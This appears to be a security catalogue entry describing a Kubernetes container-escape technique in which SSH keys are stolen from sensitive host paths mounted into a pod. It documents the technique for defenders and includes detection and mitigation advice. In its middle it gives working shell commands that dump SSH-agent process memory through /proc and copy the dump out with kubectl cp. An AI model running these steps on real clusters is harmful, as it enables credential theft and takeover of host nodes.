title |
---|
EXPLOIT_HOST_READ |
Source | Destination | MITRE ATT&CK |
---|---|---|
Container | Node | Escape to Host, T1611 |
Exploit an arbitrary read from a sensitive host path mounted into the container to gain execution on the host.
If a sensitive host directory is exposed to a container, even as readonly, it can enable an escape to the host. The only example currently modelled is exposing a host volume that contains SSH keys (and assumes that SSH is enabled on the node for SRE activities). In this scenario an attacker can steal the SSH keys from the mounted volume, then SSH directly into the node.
Execution within a container with a sensitive host path mounted as readonly.
See the example pod spec.
Check for interesting mounted volumes in the container as decribed in VOLUME_DISCOVER. Specifically:
/etc
,/root
,/home
,/proc
for SSH key material. This enables accessing the node via SSH (which is typically enabled for management functionality)
Consider the case of an exposed /proc
mount. We can attempt to steal SSH keys directly from the process memory of the SSH agent. First identify the target process by dumping all process info via:
find /proc -maxdepth 2 -wholename '/proc/[0-9]*/status' | xargs cat > process-list.txt
Once the target PID has been retrieved, dump the process memory by reading /proc/${PID}/mem
:
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
)
then exfiltrate the memory dump to an attacker machine using kubectl cp
(or any other mechanism):
kubectl cp ${NAMESPACE}/${PODNAME}:/mem.bin ./mem.bin
Finally extract any SSH keys offline from memory using the ssh-grab python script.
- Monitor for access to sensitive host files (e.g SSH keys) originating from container processes
Use a pod security policy or admission controller to prevent or limit the creation of pods with a hostPath
mount of /
or other sensitive locations.
Avoid running containers as the root
user. Enforce running as an unprivileged user account using the runAsNonRoot
setting inside securityContext
(or explicitly setting runAsUser
to an unprivileged user). Additionally, ensure that allowPrivilegeEscalation: false
is set in securityContext
to prevent a container running as an unprivileged user from being able to escalate to running as the root
user.